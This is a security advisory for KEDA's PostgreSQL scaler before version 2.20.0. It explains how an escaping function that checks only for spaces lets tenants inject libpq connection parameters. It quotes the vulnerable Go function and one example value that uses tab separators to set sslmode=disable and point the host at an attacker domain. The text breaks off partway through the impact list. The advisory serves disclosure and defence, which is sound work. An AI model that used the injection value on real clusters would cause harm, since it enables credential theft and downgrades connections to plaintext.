KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Affected: Go: github.com/kedacore/keda/v2

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.

### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.

### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal…